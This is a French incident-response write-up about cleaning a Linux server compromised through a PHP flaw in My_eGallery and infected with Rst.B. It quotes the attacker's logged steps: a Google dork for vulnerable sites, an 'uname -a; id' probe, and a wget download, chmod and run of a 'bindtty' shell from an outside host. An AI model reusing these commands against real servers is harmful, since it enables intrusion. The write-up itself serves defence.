Voici un exemple précis d'une machine 6d0833ff9af010d456d89be55d573051 avec un virus installé mais encore récupérable sans réinstallation complète.



Visiblement, le hackeur a exploité une faille dans les scripts php et a pu avoir un accès shell sur la machine. Ensuite, il a pu télécharger, compiler et lancer différents softs. On remarque l'utilisation des noms comme httpd qui est un serveur apache généralement. Un œil non expert pensera qu'il s'agit tout simplement d'un serveur web alors que ce n'est pas le cas.
Le hackeur a pu aussi voir ceci :



Le client a mis le dernier noyau actuellement disponible et sans bug de securité. On peut donc penser fortement que le hackeur n'a pas pu avoir l'accès en root sur la machine. On va faire quelques vérifications :



On remarque que le process rh écoute le port 3049. L'œil expert sait de suite qu'il s'agit d'un virus. Mais comme le process est en nobody on est donc sûr que le virus ne s'est pas installé (pas encore). Il faut donc maintenant être extrêmement prudent. Une fausse manipulation peut se finir en installation du virus en root et à ce moment-là il ne restera plus qu'à réinstaller la machine. On va donc commencer par bien verifier qu'il s'agit d'un virus. On va télécharger un antivirus et scanner les répertoires.


Nous allons faire de sorte que le virus ne puisse pas modifier l'antivirus.



On va scanner maintenant :



Il s'agit donc de Rst.B :
www.sophos.fr/virusinfo/analyses/linuxrstb.html
www.computeruser.com/news/02/01/08/news1.html

Ce qu'il faut surtout NE PAS FAIRE c'est de l'exécuter. Pourquoi ? Actuellement le virus est executé en nobody c'est à dire un utilisateur qui ne peut pas faire grande chose sur la machine. Moi, en etant connecté en root, si je l'exécute, je lui donnerai les droits du root alias superutilisateur et à ce moment là, le virus ayant les droits sur tout le disque, va affecter les fichiers systèmes (qui appartiennent à root).

Qu'est-ce qu'on fait alors ? On efface.




Tiens, un fichier bash du shell. On va donc regarder ce que le hackeur a tapé :


On remarque la création d'un repertoire " " (avec un espace) qui trompera l'œil non expert et qui ne le verra pas. On remarque (encore et encore) que le hackeur installe un bounce IRC lequel il va utiliser un jour pour se connecter d'une machine à l'autre. Ceci lui permettra de ne jamais donner sa vraie IP de connexion et donc on ne pourra jamais le retrouver.

Maintenant on va tuer les process :


On verifie que le hackeur n'a pas installé de fichier crontab :



Parfait. La machine est à nouveau clean. Mais le hackeur peut exploter à nouveau la faille sur les scripts php et revenir sur la machine. Il faut donc trouver le fichier php qui n'est pas sécurisé.




On va donc chercher les requêtes GET sur les scripts php où on passe les paramètres et donc il y a un ?. Puis, par expérience, on pense que le hackeur a utilisé wget pour télécharger l'exécutable.



Bingo. On va maintenant regarder ce qu'il a encore fait.



On voit donc :
il est allé sur Google et a cherché les sites qui ont installé My_EGallery. www.google.com.my/search?q=allinurl:+My_eGallery+site Il a d'abord essayé de voir si le script avait une faille ou pas en essayant d'executer uname -a; id. Visiblement, ça a marché. Il a donc téléchargé un shell verolé avec un virus et l'a enregistré dans le repertoire /tmp wget 20streez.org/bindtty -O /tmp/bindtty, puis a donné les permissions d'exécution à ce script :
chmod 777 /tmp/bindtty
puis l'a exécuté :
/tmp/./bindtty

Ce qu'il lui a permis de demarrer un shell et avoir l'accès sur la machine en nobody. Tout ceci en 1 minute 23 secondes !!

On va donc bloquer ce repertoire :



Le hackeur s'est connecté à partir de l'ip 202.133.101.83



Une IP en Malaysie, un abonné ADSL probablement hacké. Aucune plainte ne pourra donc être reçue par la police.

Dans dmesg de la machine on peut voir ceci :



Le hackeur a voulu lancer un soft alina, probablement un scan des réseaux. Heureusement, le noyau GRS l'a détecté et a tué ces process. Puis le hackeur a essayé d'autres scans des réseaux. Le scan a été tellement violent que la connexion rj45 a coupé pendant quelques secondes :



Comme le reseau a coupé, on ne voit pas d'attaque sur MRTG. On remarque que l'IP de connexion a encore changé :



Une IP de Roumanie. Probablement hackée.



Encore Roumanie.




Et Roumanie.

On écrira un email aux admins des réseaux qui gèrent ces IP afin qu'ils vérifient leur réseau. On n'aura jamais une reponse et on ne saura pas si ça a été fait ou pas. Conclusion : mettez à jour vos machines et surveillez ce qu'il se passe sur votre machine. Le hack est simple et rapide. Le hackeur est introuvable.